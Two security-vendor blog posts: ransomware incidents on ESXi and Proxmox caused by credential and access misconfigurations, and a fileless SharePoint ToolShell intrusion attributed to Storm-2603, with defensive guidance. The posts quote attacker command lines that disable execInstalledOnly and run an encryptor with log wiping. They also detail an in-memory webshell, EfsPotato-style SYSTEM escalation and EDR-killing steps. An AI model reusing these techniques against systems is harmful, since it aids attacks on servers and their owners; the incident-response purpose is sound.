❌

Reading view

Virtualization security: attack layers and misconfiguration impact

Introduction

Incidents in virtual environments can begin with a software vulnerability, human error, a configuration weakness, or several of these factors at once. The investigation is rarely limited to the workload. Hypervisors, container runtimes, management consoles, monitoring platforms, identity systems, virtual networks, datastores, backups, and automation accounts all influence what an attacker can reach.

Kaspersky GERT recently investigated two more ransomware cases on ESXi and Proxmox environments in which weak access controls, insufficient network separation, exposed administrative services, and poor management of privileged credentials contributed to the impact. A monitoring system that could reach the virtualization layer also exposed a reusable root credential. Once the attacker controlled that route, ordinary administrative access was enough to affect several hosts. No VM escape was required.

The incidents show why patching and secure configuration must be managed together. A fully patched hypervisor can still be compromised through a shared password, an overprivileged monitoring account, an open SSH path, or an administrator interface reachable from a general server network. NIST guidance places secure configuration baselines, restricted administrative access, current patches, and monitoring across all layers within the same set of sound security practices.

In this article, we’re going to describe both incidents with additional focus on common unsafe practices that were exploited, leading to compromise, as well as remediation tactics. We’ll also discuss the broader scope of threats targeting virtual environments for a better understanding of possible protection strategies.

The connected system defenders must protect

A business virtual environment is not just Hyper-V, VMware, or Docker but rather a connected stack. Management consoles, orchestration tools, monitoring platforms, and automation accounts sit above hypervisors and container engines. Registries, image stores, virtual switches, datastores, and backup systems connect the layers. Applications and business services run at the bottom, while much of the administrative power sits near the top.

The important boundaries extend beyond guest to host. They include workload to management plane, monitoring system to hypervisor, registry to deployment, administrator workstation to console, management plane to storage, and one virtual network segment to another. An attacker only needs one usable route. The possibility of compromise may lie in one stolen or insecurely placed administrator credential rather than in a complex escape exploit. In the GERT case, the compromise route passed through the monitoring platform and included a valid virtualization platform credential.

Case #1: From network monitoring to ESXi encryption

The investigation began with evidence of BlackNevas ransomware activity on a Windows system in a virtualized domain controller segment. UserAssist artifacts recorded execution of the AnyDesk RMM tool and GMER binaries. The environment also used PRTG Network Monitor to monitor its virtual infrastructure.

UserAssist artifacts

UserAssist artifacts

The available evidence showed that the PRTG deployment had broad access to the ESXi hosts and that the same root password was reused across several nodes. After obtaining access to the monitoring environment, the attacker used the ESXi credential to connect over SSH to the hosts that shared the same password. This design joined monitoring, credential storage, and direct administration into one attack path.

PRTG supports storing VMware credentials at the device or inherited group level. That feature is operationally useful, but a monitoring server becomes privileged infrastructure when it holds credentials that can administer the systems it observes. The security question is therefore not whether monitoring needs access, but whether the identity, privileges, storage method, and permitted network path are limited to the monitoring task.

The threat actor gained root access to the ESXi environment and used the esxcli command to bypass the system restriction by disabling the execInstalledOnly policy to execute the encryption binary and also perform anti-forensic log deletion. Let’s look closely at the timeline of the initial host compromise.

ESXi (192.168.*.*) timeline

2025-10-18 Connection attempts from IP address 192.168.*.*.
2025-10-19 During an SSH session by root from IP 192.168.*.*, the file esx is uploaded to the system.
2025-10-19 User "root" attempts to execute the binary esx with the error "Execution of non-installed file prevented".
	chmod 777 esx
	./esx /log
2025-10-19 User "root" deactivates the execInstalledOnly option.
	esxcli system settings advanced set -o 
	/User/execInstalledOnly -i 0
2025-10-19 User "root" executes the malware esx.
2025-10-19 New connection attempts from IP 192.168.*.*.

Now, at the same time, the following activities ensued on a different host with the same password for the root user:

ESXi (172.16.*.*) timeline

2025-10-19 SSH connection by user "root" from IP 172.16.*.*.
2025-10-19 User "root" executes the malware esx and clears the logs.
	chmod a+x esx && chmod 777 esx
	./esx /selftest
	nohup ./esx /p /vmfs/ /depth 5 /log /wipe
	./esx /depth 5 /log /wipe

Case #2: Credential notes impacting the whole Proxmox environment

GERT responded to a ransomware incident by The Gentlemen group, in which the threat actor gained access to Proxmox using information collected during the dwell time between initial access and visible impact. On a compromised system administrator workstation, the actor discovered administrative credentials and access details stored in notes in plain text. These records provided the information needed to log in to Proxmox using the root account.

The actor then activated the VNC web socket through the compromised root account, gaining extensive control over the Proxmox environment. This access was subsequently used to download and execute ransomware within the cluster, which resulted in the encryption of the entire virtual environment. Below are the log records showing the root account being used to access other hosts via a VNC web socket.

root@pam [01/08/2026:00:28:36 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:30:17 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:31:19 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:43:38 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:44:49 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****

This incident is a clear example of the risks of storing privileged credentials in unsecured notes or other easily accessible files. Once the administrator workstation was compromised, the saved credentials allowed the actor to move from a single endpoint into the virtualization management layer. Because the credentials belonged to a highly privileged root account, one poor credential handling practice significantly increased the scope and impact of the attack. Privileged credentials should instead be stored in an approved password manager or privileged access management system, protected with multifactor authentication and rotated immediately if an administrator workstation is suspected of being compromised.

Why the misconfiguration caused broad impact

Both cases exhibited unsafe misconfiguration practices whose exploitation led to a bigger impact on the host system. Next, we will break down each misconfiguration to see how it enabled further compromise and what should be done to avoid it.

Monitoring inherited excessive privilege

In Case 1, the monitoring platform could do more than collect health and performance data. It held or could use credentials with enough privilege to reach ESXi directly. A compromise of the monitoring system therefore became a compromise of the management plane. Monitoring identities should be dedicated to the task and given only the permissions required by the deployed sensors.

Credential reuse

Password reuse converted one recovered secret into farm-wide access. System administration should use named identities through the central management plane. Each host should have unique credentials and proper password storage hygiene. Password strength alone does not limit the impact of theft, but where the credential can be used and where it is stored do.

Direct root access bypassed central control

Direct SSH access allowed the actor to authenticate as root, upload a binary, and change a security setting without first passing through vCenter role controls. Broadcom, the parent company of VMware, recommends managing vSphere through vCenter, disabling SSH during normal operation, and using Lockdown Mode where suitable. Required service accounts should be explicit exceptions rather than members of a broad administrator group.

Lack of enhanced security settings

The initial execution attempt was blocked by execInstalledOnly, but the attacker had enough privilege to disable this policy. Broadcom documents enforcement options that combine execInstalledOnly with UEFI Secure Boot and TPM-backed configuration protection. These controls must be enabled, tested, and monitored for change. A setting that can be silently disabled by the same credential used for daily administration provides limited resistance after account compromise.

Unsafe credential storage

Case 2 demonstrated the possibility of compromise lying in privileged credential exposure. The mitigation strategy involves not only securing the administrative credential storage but also general hardening practices of secret handling, such as privilege management and regular access audits.

How to close this attack path

In this section, we share remediation advice on how to mitigate such attacks, and detect and prevent them from going further. We recommend the following actions:

  • Separate monitoring from administration. Create a dedicated monitoring identity for each platform and restrict it to the smallest set of objects and actions that the monitoring sensors require. Do not use ESXi root or another emergency account for routine polling. Prevent monitoring servers from starting interactive administrator sessions unless a separately approved support workflow requires it. The same principle applies beyond VMware.
  • Replace stored root passwords. Locate every copy of hypervisor, management, storage, and backup credentials in monitoring tools, scripts, scheduled tasks, connection managers, and service configurations. Replace static passwords with vault retrieval, brokered identities, or limited API tokens where the platform supports them. Record every retrieval and rotate the secret after emergency use or compromise.
  • Restrict direct host access. Route normal ESXi administration through vCenter and enable an appropriate Lockdown Mode after testing monitoring, backup, and recovery dependencies. Keep ESXi Shell and SSH stopped by default. When support work requires SSH, enable it for a defined period, restrict the source, and alert on service activation, root login, and changes to the exception list of users who are allowed to connect via SSH.
  • Use a specialized security solution. In our portfolio, Kaspersky Cloud Workload Security (KCWS) is perfectly suited to address virtual environment risks, offering a powerful combination of two products: Kaspersky Hybrid Cloud Security (KHCS) and Kaspersky Container Security (KCS). Kaspersky Hybrid Cloud Security is specifically built to secure virtualized infrastructures, private data centers, and hybrid clouds. A patented Light Agent architecture minimizes resource impact without compromising performance, while comprehensive infrastructure visualization through a unified console gives administrators complete visibility and control over the entire hybrid network. Kaspersky Container Security covers every stage of a containerized app’s lifecycle, from development to operation. Among other capabilities, the solution allows for detecting misconfigurations using a dedicated scanner for images, file systems, and repositories that contain IaC files (such as Terraform, CloudFormation, Azure ARM templates, Helm charts, and Dockerfiles).
  • Treat configuration changes as security events. Alert when execInstalledOnly, Secure Boot enforcement, Lockdown Mode, SSH, local accounts, exception users, firewall rules, or remote logging settings change. Baseline the expected state and test whether the security team can detect an unauthorized change. A secure configuration set once does not mean that the control remains active on the host.
  • Isolate the management network. Place hypervisor, monitoring, backup, storage, and cluster administration on restricted management networks. Permit only the exact source and destination services required. Administrative workstations should enter through hardened jump hosts with named identities and multifactor authentication.
  • Protect logs, backups, and recovery. Forward ESXi, vCenter, Proxmox monitoring, identity, and network logs to protected storage that a compromised administrator cannot erase. Backup platforms should use separate identities, restricted management paths, and recovery copies outside ordinary administrative reach.

Configuration checks for monitored virtualization

Below are recommended checks to run when enabling virtualization monitoring. The safest state depends on the platform and monitoring method, but each control should be tested.

Control area Safer state Verification
Monitoring identity Dedicated service account or token with only required read and polling rights Review assigned roles and test every sensor without root or global administrator access
Credential storage No recoverable host root password on a monitoring or general-purpose server Review tool configurations, scripts, scheduled tasks, and connection stores for embedded credentials, access tokens, or other secrets
Network path Monitoring reaches only required polling services while administration uses a jump host Test management ports from monitoring server, user segments and untrusted network segments
Direct host access Lockdown Mode where suitable with SSH and ESXi Shell stopped by default Attempt direct client API and SSH access to host using a routine account
Configuration integrity Secure Boot and execInstalledOnly enforcement enabled where supported and tested Change a test setting through the approved process and confirm an alert is generated
Evidence Host, management, identity, monitoring, firewall, and PAM logs stored remotely Generate successful and failed logins and verify source, account, host, time, and action

The wider attack surface

Closing the monitoring and credential routes does not secure the environment by itself. Virtualization also relies on isolation boundaries, trusted images, management APIs, virtual networks, storage, and backups. Each layer requires a different control and leaves evidence in a different place.

VM and container escapes

In a VM escape, code inside a guest reaches past the VM boundary and affects the host or another guest. The weakness may be in a virtual device, an integration feature, a hypercall interface, or another component that translates guest requests for the host. If the escape works, control of one VM may lead to control of the physical server and every workload on it. VMware CVE-2025-22224 showed this risk: an attacker with administrator rights inside a VM could execute code as the VMX process on the host, and Broadcom reported exploitation in the wild.

A container escape can reach a similar result, but the starting point is different. Linux containers share the host kernel, so their isolation model differs from that of a VM. Namespaces limit what processes can see, cgroups control resource use, and capabilities split root privileges into smaller parts. A kernel or runtime bug can break this isolation. Copy Fail (CVE-2026-31431) is a good example of a kernel flaw. Code already running in a container could use a Linux AF_ALG crypto socket to change pages in the shared Linux kernel page cache. Because the host and other containers may read the same cached pages, the effect did not have to stay inside one container. The fix is a kernel update; Docker Engine 29.4.3 also tightened its default security profiles to reduce exposure on hosts that had not yet been patched.

Unsafe settings can also break the boundary. Privileged mode, excessive capabilities, writable host mounts, or access to the Docker socket may remove isolation without any software exploit. For instance, runc CVE-2024-21626 involved leaked file descriptors that could expose the host filesystem to a malicious image or container process.

This difference changes the investigation. A VM can often be treated like a separate computer with its own kernel, memory, and disk. A container is a group of host processes placed inside namespaces. If investigators collect only the container filesystem, they may leave the most useful process, socket, and control-plane evidence on the host.

Images and templates

A compromised golden VM image or container base image can spread through normal automation. Common weaknesses include unofficial public images, mutable tags, overprivileged build tokens, recoverable secrets in older layers, and stale templates that restore vulnerable software or forgotten accounts. Scanning might help, but it does not establish who built the artifact or whether the exact image tested and approved was the one ultimately deployed to production. Use controlled builders, provenance records, signature checks, and planned rebuilds from trusted sources.

Management tools and APIs

A stolen vCenter identity, exposed Docker API, overpowered Portainer role, or compromised backup console may give an attacker an easier route than an escape exploit. Portainer advisory GHSA-7fw3-x4r2-g7wc showed how a proxy validated one bind-mount representation but missed an equivalent API form, allowing an authenticated non-administrator with container creation privileges to reach host paths. The runtime performed a valid request after authorization had already failed in the management layer.

Administrative file-copy operations also deserve attention. Docker fixed archive and mount-handling flaws in CVE-2026-41567, CVE-2026-41568, and CVE-2026-42306. These cases required particular conditions and operator or API activity. They are a reminder to patch the daemon and record who initiated copy operations, which container was involved, the source and destination paths, and the result.

Virtual networks, storage, and backups

East-west traffic between virtual workloads may stay inside one host and bypass a physical sensor. Management, migration, storage, and workload traffic should use separate zones with filtering between them. Snapshot and memory files may contain credentials, while weak datastore permissions can expose whole virtual disks. Backup systems need broad access to recover services, which also makes them valuable to an attacker who wants to delete recovery points or reach several hosts.

Attack surface examples by layer

To sum up, the described attack vectors might be mitigated as follows:

Attack surface Initial access Possible impact Primary control
Credentials and configuration Password recovered from monitoring or an overprivileged account Direct control of several hypervisor nodes Unique vaulted credentials, segmented access, and configuration monitoring
VM escape Administrative access or code execution privileges inside a guest plus a hypervisor flaw Host process or neighboring workload compromise Patch the hypervisor and reduce risky virtual devices and guest privilege
Malicious container affecting kernel or runtime Code in a container or a malicious image Host filesystem, kernel, or shared cache impact Patch kernel and runtime, and remove privileged settings
Images and templates Compromised build input registry or golden image Repeated deployment of the compromise Immutable digests, controlled builds, provenance, and verification
Management API Stolen identity exposing endpoint or authorization gap Fleet-wide administrative actions MFA, least privilege, network restrictions, and complete API validation
Networks, storage, and backups Flat network or broad datastore and access through backups Lateral movement, data theft, encryption, and recovery loss Segmentation, least privilege, protected backups, and traffic monitoring

Conclusion

GERT cases that we presented in this article did not require an attacker to break the VM boundary. The attack path was created by an overprivileged monitoring relationship, an insecure password storage approach, a recoverable and reused root credential, broad management-network reachability, and direct SSH administration. Each element was legitimate on its own, but together they allowed one compromise to reach virtualization hosts and their workloads.

Misconfiguration should therefore receive the same operational attention as vulnerability management. Teams need to know where privileged credentials exist, which systems can use them, which network paths make them effective, and which logs will show their use. Escape flaws, unsafe images, API weaknesses, virtual network exposure, and attacks on storage or backups remain serious, but closing the known administrative route should come first.

  •  

The SOC Files 5: Ghost in the pipeline, or a fileless SharePoint breach by Storm-2603

Executive summary

In 2025, several threat actors exploited CVE-2025-53770 and CVE-2025-53771 (ToolShell vulnerabilities) in on-premises Microsoft SharePoint to achieve remote code execution through crafted HTTP requests. One of the threat actors deployed ransomware on the target’s systems after successful exploitation. Microsoft attributed this ransomware-related ToolShell activity to Storm-2603, distinguishing it from other actors whose observed activity was primarily focused on credential theft, espionage, and data exfiltration.

In December, our retrospective analysis identified activity consistent with Storm-2603’s TTPs. This activity involved the attacker using the IIS worker process as an in-memory bridge to the customer’s infrastructure, keeping the access and control layer entirely within w3wp.exe without writing anything to disk. Although subsequent post-exploitation activity generated disk artifacts, the bridge used to maintain access remained memory-resident.

Let’s look in more detail at this attack.

The attack chain, from reconnaissance to infrastructure compromise

The attack chain, from reconnaissance to infrastructure compromise

Intrusion timeline: Strategic latency and exploitation

The intrusion analyzed in this report occurred in two stages, with a temporal gap between initial access and subsequent exploitation activity. The attack timeline was as follows:

  • Dec 20 – Vulnerability fingerprinting: A single HTTP request targeted a SharePoint administrative endpoint associated with the ToolPane component to determine whether the host was vulnerable to CVE-2025-53770.
  • Dec 21-23 – Tactical latency: A three-day period of silence followed the initial probe, separating the vulnerability fingerprinting from subsequent malicious activity and potentially reducing the likelihood of immediate detection.
  • Dec 24 – High-intensity re-engagement: On Christmas Eve, when security staffing at many companies is reduced, the full RCE chain was executed through the IIS worker process (w3wp.exe) on the same endpoint as the initial probe.
  • Dec 26 – Incident discovery: The three-day gap initially prevented the December 20 probe from being correlated with subsequent malicious activity, marking the event as low priority. Retrospective analysis established that the probe was the initial phase of the subsequent intrusion.
Intrusion timeline

Intrusion timeline

Initial access validation phase

Vulnerability fingerprinting

A vulnerability fingerprinting request on December 20 marked the first observed interaction with the target. The request originated from infrastructure associated with ONYPHE, an internet-scale attack surface discovery and management platform for identifying exposed assets, vulnerabilities, and cyberthreats. Unlike widely used tools such as Shodan and Censys, which merely provide a list of internet-facing assets correlated with the open-source data about known vulnerabilities, ONYPHE actually checks if the target system is vulnerable.

Fingerprinting with ONYPHE

Fingerprinting with ONYPHE

The request characteristics were consistent with ONYPHE’s vulnerability checks, which use active, non-intrusive probes to identify internet-exposed systems vulnerable to specific CVEs. For ToolShell, ONYPHE adopted the approach used by Niels Hofmans (hazcod). Namely, it attempts to inject a harmless marker into the target server to find out if it is vulnerable.

OFFICIAL ONYPHE CVE CHECKER (TOOLSHELL)

OFFICIAL ONYPHE CVE CHECKER (TOOLSHELL)

This phase served as a validation step against the SharePoint execution surface exposed over HTTP:

  • The target processed structured requests through the ASP.NET pipeline without rejection.
  • The request path reached application logic capable of handling serialized input.
  • No defensive controls interrupted or altered the execution flow at the application boundary.

Approximately 12 minutes later, a second inbound connection originated from infrastructure associated with Pfcloud UG, a provider operating under a bulletproof hosting (BPH) model. Given the timing and the IP’s documented history of scanning and abusive activity, the connection may represent follow-on reconnaissance against the newly identified target. No exploitation was attempted at this stage.

A connection from an IP address belonging to Pfcloud UG BPH

A connection from an IP address belonging to Pfcloud UG BPH

Active exploitation: Santa took your data and left a backdoor

The main malicious activity occurred on December 24. The actor targeted the same SharePoint host with a crafted request from 45.91.94.204 (45.91.92.0/22, ASN 63473, HostHatch, LLC). This resulted in a webshell execution within the IIS worker process (w3wp.exe). The payload was not written to disk; rather, it was loaded directly into the ASP.NET runtime and used during subsequent request processing. The implant remained resident for the lifetime of the affected application domain. This runtime state was lost when the application pool was recycled or IIS was restarted.

Attack originated from an SPN node

The IP address 45.91.94.204 is a Safing Privacy Network (SPN) node. SPN routes each connection through a multilayer VPN path with multiple relay nodes that can obscure the originating IP.

SPN promotes itself as a network that offers strong privacy protection for internet traffic. Its infrastructure resembles Tor’s in many ways, but with some differences. It features the following capabilities:

  • Speed: Near-VPN performance for high-speed data transfer.
  • Layer 3 support: Supports multiple protocols like TCP, UDP, ICMP (unlike Tor, which only supports TCP).
  • App-routing: Direct tunneling without a browser.
  • Multi-identity: Simultaneous exit nodes to bypass IP rate limits.
  • Fixed-size packets and padding make it harder to analyze its traffic.

It is less common than Tor, and frequently bypasses standard Tor blocklists.

Webshell architecture

The webshell the attackers injected into the w3wp.exe runtime is a multi-module in-memory framework, where execution is orchestrated through the main component (G.cs) and extended via multiple functional units across namespaces.

The implementation follows a modular C# project structure in which each capability is isolated into its own compilation unit and invoked dynamically at runtime.

Webshell components

Webshell components

“G.cs” pipeline control and C2

Pipeline control

The main webshell component is G.cs. It orchestrates the implant’s execution context, lifecycle, C2 and session management.

To ensure persistence within the runtime, G.cs performs the following actions:

  • Registers a custom VirtualPathProvider using the non-public RegisterVirtualPassProviderInternal method from the ASP.NET HostingEnvironment class so that ASP.NET uses it for virtual-path processing. The provider is automatically added to the chain of registered virtual path providers.
  • Delegates the provider’s .NET Remoting lifetime policy to the previous provider in the chain, preserving the existing lifetime behavior.

Additionally, to evade defenses and enable the VirtualPathProvider to be registered even if the application in whose AppDomain the webshell is running is precompiled, the module implements the trust control subversion (T1553) technique:

  • Uses reflection to check if the application is precompiled.
  • Extracts pointers for internal state fields for the BuildManager class, which manages application compilation, and modifies them at runtime.
  • Uses reflection once again to force runtime injection.

G.cs uses the GetCacheKey() function as the interception point for the virtual path processing flow. It processes incoming requests to the SharePoint server and checks their headers to filter out requests from the attacker.

The specific User-Agent in the request headers triggers the webshell execution. If the request doesn’t match this condition, the implant remains dormant, making its traffic harder to recognize.

Command and control layer (in-memory transport)

The same core module (G.cs) implements the communication layer.

Instead of relying on external frameworks or standard beacons, it uses a custom binary protocol with XOR-based obfuscation to exchange data with the C2. These communications blend into normal application traffic. The module uses the GetCacheKey() hook to intercept standard HTTP requests. When a specific User-Agent is detected in the request headers, the module parses it, extracts the payload, and establishes a TCP connection to a target host inside the target’s network if needed.

Bidirectional TCP tunnel initialization

Bidirectional TCP tunnel initialization

G.cs establishes a full-duplex proxy tunnel to support interactive control. It stores active target sockets in memory to pair concurrent HTTP read and write channels.

TCP connections from the C2 server to arbitrary hosts inside the target network are supported for pivoting and lateral movement. The traffic is proxied through the SharePoint host.

Target-to-attacker data channel

Target-to-attacker data channel

Attacker-to-target data channel

Attacker-to-target data channel

As can be seen in the screenshots, the attackers used the suo5 tool to implement traffic proxying. Its authors promote it as a stable forward-proxying tool for scenarios where outbound internet connections are prohibited.

To increase its performance, G.cs manipulates ThreadPool by raising its limits for concurrent operations and maximum timeout.

ThreadPool manipulation

ThreadPool manipulation

“Prog.cs”: Execution entry point and task dispatcher

Prog.cs is the entry point that receives command-line arguments and passes them to uk/London.cs. The latter acts as the orchestrator, handling command parsing and privilege escalation (via named pipe impersonation). We’ll review it in more detail later. If the “suo5” command is provided, London.cs triggers G.cs to hook into the ASP.NET runtime as a memory shell. Once active, G.cs independently processes incoming web traffic inside the web server memory.

Host interaction modules

The following modules provide direct system interaction capabilities, each implemented as a separate unit. London.cs triggers these modules when it receives a corresponding command from Prog.cs.

“FileDownloader.cs”

The FileDownloader.cs module downloads arbitrary files from external URLs provided by the C2. It stores the downloaded files in the Program Data directory without any user interaction.

“LoggedOnUsers.cs”

This module enumerates logged-on users and identifies their session types (interactive, service, remote). The results are stored in memory. The attackers can retrieve them using the proxy and tunneling capabilities provided by G.cs.

“ProcessList.cs”

This module lists running processes with full paths to the corresponding executables on the disk. The results are stored in memory and the attackers can retrieve them via G.cs.

“NetworkInfo.cs”

This module extracts information about existing network connections, including protocols, local and remote IPs and ports, and connection state. It also enumerates network interfaces and headers. The results are stored in memory and can be retrieved by the attackers via G.cs.

“MSI.cs”

This module silently installs and executes MSI packages previously downloaded by FileDownloader.cs.

“User.cs”

This module creates administrative accounts using the native SAM RPC subsystem (SAMRPCNative namespace) rather than standard command-line tooling. This may indicate an attempt to evade detection and provide the attackers with privileged stealthy access to target systems that persists after the webshell has finished its work.

SAMRPCNative

The SAMRPCNative namespace implements a low-level C# P/Invoke wrapper for the native Windows samlib.dll library, comprising three types: SAMStructs.cs, SAMMethods.cs, and SAMEnums.cs.

“SAMEnums.cs”

Implements structured bitwise lists and constant flags mapping numeric codes to their security meaning in SAM, and translates system status return codes.

“SAMStructs.cs”

Defines native data structures required for P/Invoke memory alignment and for marshalling. It securely formats and aligns data structures.

“SAMMethods.cs”

Contains external API declarations (P/Invoke) imported from samlib.dll to perform actions such as connecting to the SAM server, creating users and opening domains.

This layer is crucial for the attackers because it enables account operations.

Privilege escalation

The uk namespace contains offensive primitives for privilege escalation. To elevate privileges to SYSTEM, it uses a local token impersonation technique via the Encrypting File System Remote Protocol (EFSRPC) interface adopted from the EfsPotato tool.

This functionality is implemented in the uk/London class. It creates a malicious named pipe while the EfsrTiny class (a tiny version of the EfsPotato tool) connects to the LSASS.exe RPC server. Then it’s London.RpcThread function calls the EfsRpcEncryptFileSrv function from EfsrTiny with a crafted \\localhost path. This tricks LSASS.exe into connecting back to the attacker’s named pipe. Finally, the London.Exp function uses ImpersonateNamedPipeClient to coerce and impersonate the LSASS.exe token and spawn a new process via CreateProcessAsUser with SYSTEM privileges. As the webshell resides in the IIS worker process, it has the necessary SeImpersonatePrivilege to perform this technique.

The uk namespace also implements a minimal MSRPC client layer by explicitly defining structures such as RPC_CLIENT_INTERFACE and MIDL_STUB_DESC, thereby spoofing an interface stub. This enables direct interaction with the Windows RPC runtime (Rpcrt4.dll) without relying on MIDL-generated stubs or higher-level RPC abstractions. This provides direct control over binding and marshaling that goes beyond the constraints of standard client APIs.

Post-exploitation activity

Shortly after the webshell injection, the infected worker process spawned msiexec.exe to install a remote MSI payload hosted in Supabase cloud storage. The payload was Velociraptor, an open-source digital forensics and incident response tool – namely version 0.73.4.0 vulnerable to CVE-2025-6264 – that the attackers abused for command execution on the target network.

In October 2025, Cisco Talos reported Velociraptor being leveraged by threat actors as a post-compromise execution framework and attributed this activity to Storm-2603. This tool enables arbitrary command execution, and can be used for various purposes. In our case, it was used for persistence, discovery, data collection and payload execution.

The threat actor used Velociraptor to deploy multiple independent tunneling mechanisms, including Zoho Assist-Unattended Support for unauthorized remote access, VS Code CLI tunneling, Cloudflare Tunnel, and a lightweight reverse proxy utility. By doing so, they attempted to maintain access even if some of their tools were detected and deleted. At this stage, they also no longer depended on the IIS worker process lifecycle and ToolShell vulnerability.

EDR-killing attempts

Once the threat actor had access to the target system, they were able to upload a vulnerable driver that is used by many attackers to terminate EDR solutions. We were able to detect the main driver at C:\programdata\rsndispot.sys (054a32d6033b1744dca7f49b2e466ea2). In addition, the adversary used a malicious DLL (2d9ebf9c042f596f435865b40edad928) in a sideloading attack. This DLL was identified as Warlock ransomware’s AV killer. It was possibly intended to kill security solutions using the vulnerable rsndispot.sys driver.

Ransomware deployment attempt

The attackers made attempts to launch ransomware on the compromised system. However, the Proactive Defense Module in Kaspersky Endpoint Security blocked the ransomware process, effectively preventing this activity. The malware DLL we obtained was identified as Warlock ransomware.

What defenders really need to look for

ToolPane deserialization and CLR artifacts

When the attackers tried to access ToolPane, both the dynamically compiled App_Web_toolpane.aspx assembly and the Microsoft.GeneratedCode helper assembly were present within the same application domain.

Both assemblies are used in legitimate scenarios. App_Web_* assemblies are generated during normal ASP.NET page compilation, while Microsoft.GeneratedCode is typically produced by the XmlSerializer during legitimate serialization workflows. However, a request to the ToolPane endpoint that results in immediate loading of Microsoft.GeneratedCode within the same execution window indicates that the runtime is processing serialized data supplied through the request.

Detecting deserialization exploitation

First, it is highly recommended to read this article (in Russian) on how deserialization exploit attempts in the CLR should be detected, with examples of YARA rules and monitoring recommendations. A summary of the main idea of the detection logic is provided below.

Deserialization vulnerabilities should be treated as a distinct class of exploitation events. In the CLR, deserialization is not merely the conversion of bytes into values – it is the reconstruction of an object graph from an incoming stream. Serialization and deserialization are performed by formatters. One of the most widely used formatters is BinaryFormatter. It uses the NRBF format, which defines the stream as a sequence of records describing classes, arrays, primitives, and references between objects. The shape of the resulting graph is determined by the data supplied to the deserializer. This means that the input stream defines not only the values but also the specific types, relationships, and lifecycle points that the runtime must materialize.

Microsoft states explicitly that BinaryFormatter is unsafe and cannot be made safe; beginning with .NET 9, the in-box implementation is effectively removed from ordinary use. However, Microsoft continues to use it in its products, including SharePoint, because it is powerful and easy to use. To fix BinaryFormatter-related issues, architectural changes are needed. Similar warnings also apply to related unsafe mechanisms, including LosFormatter (used in the vulnerable page).

The primary risk of unsafe deserialization is that the CLR may resolve unexpected types, instantiate objects outside normal constructor invariants, and invoke special lifecycle mechanisms such as ISerializable, IObjectReference, IDeserializationCallback, and methods marked [OnDeserialized]. In other words, the attacker-controlled data can force the runtime to construct a graph containing types with executable side effects.

A practical detection strategy should therefore focus on graph-construction artifacts. CLR loader events identify the relevant assemblies and application domains. Memory and metadata inspection then reveal the type names and generated serializer structures associated with the suspected gadget chain. In ToolShell-like scenarios, unsafe deserialization usually produces helper assemblies (evidence in loader events) with metadata containing fully qualified type names, gadget class names, and string representations of the constructed generic types (just scan via YARA for it). In our case, the artifacts to look for include Microsoft.GeneratedCode, App_Web_toolpane.aspx* (evidence of deserialization in loader events) as well as strings identifying ObjectDataProvider, ExpandedWrapper, and LosFormatter (evidence that the input stream was deserialized into dangerous objects). Note that these indicators are not significant in isolation; their value lies in the fact that they show the runtime has already received data requiring helper code generation to reconstruct a dangerous object graph.

Gadget objects that exploit vulnerabilities like those associated with ToolShell are conveniently represented in corpus-style tooling such as ysoserial.net/YSoNet, which aggregate known gadget chains for unsafe .NET deserialization. For defensive purposes, the value of these projects lies not in their offensive capability but in the catalog of types and structures that can be searched for in streams, memory, and helper assemblies. The presence of any of them in memory or in a helper assembly should be treated as a strong indicator of exploitation.

To simplify deserialization exploit detection, we created a tool named CLRDeserializationExploitFinder. It can detect ToolShell exploitation attempts, as well as other gadget chains covered by ysoserial.net.

Detecting a VPP-based webshell/runtime implant

A mechanism based on VirtualPathProvider should be treated as a separate class of runtime implant (no files involved). In ASP.NET, HostingEnvironment.RegisterVirtualPathProvider registers a new virtual-path provider (VPP) in the application’s compilation system. Once registered, the application can serve virtual paths during dynamic compilation as though they were ordinary on-disk pages. Dynamic compilation does not require the payload to exist as a file in the filesystem. It operates entirely within the trust boundary of the application itself. During the compilation process, temporary files may be generated, but they cannot be treated as reliable forensic artifacts. Because VPPs can also be used for legitimate purposes, the defensive model should begin with an inventory of the legitimate VirtualPathProvider implementations. In all other cases, the registration or use of a new VPP should be considered anomalous.

To see how the dynamic generation of virtual pages using ASP.NET, IIS, and the CLR works, and to learn how to detect such activity, use our project VirtualPathProvider Lab.

The most useful telemetry source for this technique is the Microsoft-Windows-IIS-Configuration ETW provider. To detect virtual paths, events 25 and 47 are of primary value. Event 25 records the mapping of ConfigPath to PhysicalPath, and event 47 records the mapping of the configuration path to a directory. In the case of a VPP-backed path, these events create an inconsistency: IIS and ASP.NET behave as if the path has a physical representation, while the corresponding file does not exist on disk. In the example provided by VirtualPathProvider Lab, this appears as a mapping of the virtual resource googlecheck.aspx to a physical path where no real file is present. This discrepancy between configuration resolution and filesystem reality is the primary indicator of virtual content.

The second indicator is more negative than positive. For disk-backed files, IIS normally creates a FileChangeNotificationMonitor chain, as reflected in events 17, 18, 19, and 21. For virtual paths served by a custom VirtualPathProvider, this chain is absent or does not match the normal profile of an ordinary file because there is no physical object or corresponding on-disk change lifecycle. Consequently, the presence of positive events 25 and 47 combined with the absence of the expected events 17, 18, 19, and 21 for the same path forms a reliable detection pattern: the path exists for IIS as a configuration-resolved resource, yet it is not backed by the filesystem and is not accompanied by normal file-change monitoring.

To sum up, the hunting target here is the discrepancy between how IIS/ASP.NET resolves a resource and what is actually present on the disk and in the change-monitoring chain. For known applications, such cases can be filtered through an allowlist of legitimate VirtualPathProvider implementations. Anything else should be treated as a potential runtime implant and examined using ETW, filesystem verification, and memory inspection of the w3wp.exe process.

Attribution

Microsoft tracks Storm-2603 as a standalone threat actor with no known links to other groups. While they are careful about assessing the actor’s motivation, they mention that it has previously deployed Warlock and LockBit ransomware following active exploitation of on-premises SharePoint vulnerabilities. In the analyzed incident, we observed similar SharePoint exploitation activities, as well as an EDR killer associated with Warlock ransomware and unsuccessful Warlock launch attempts.

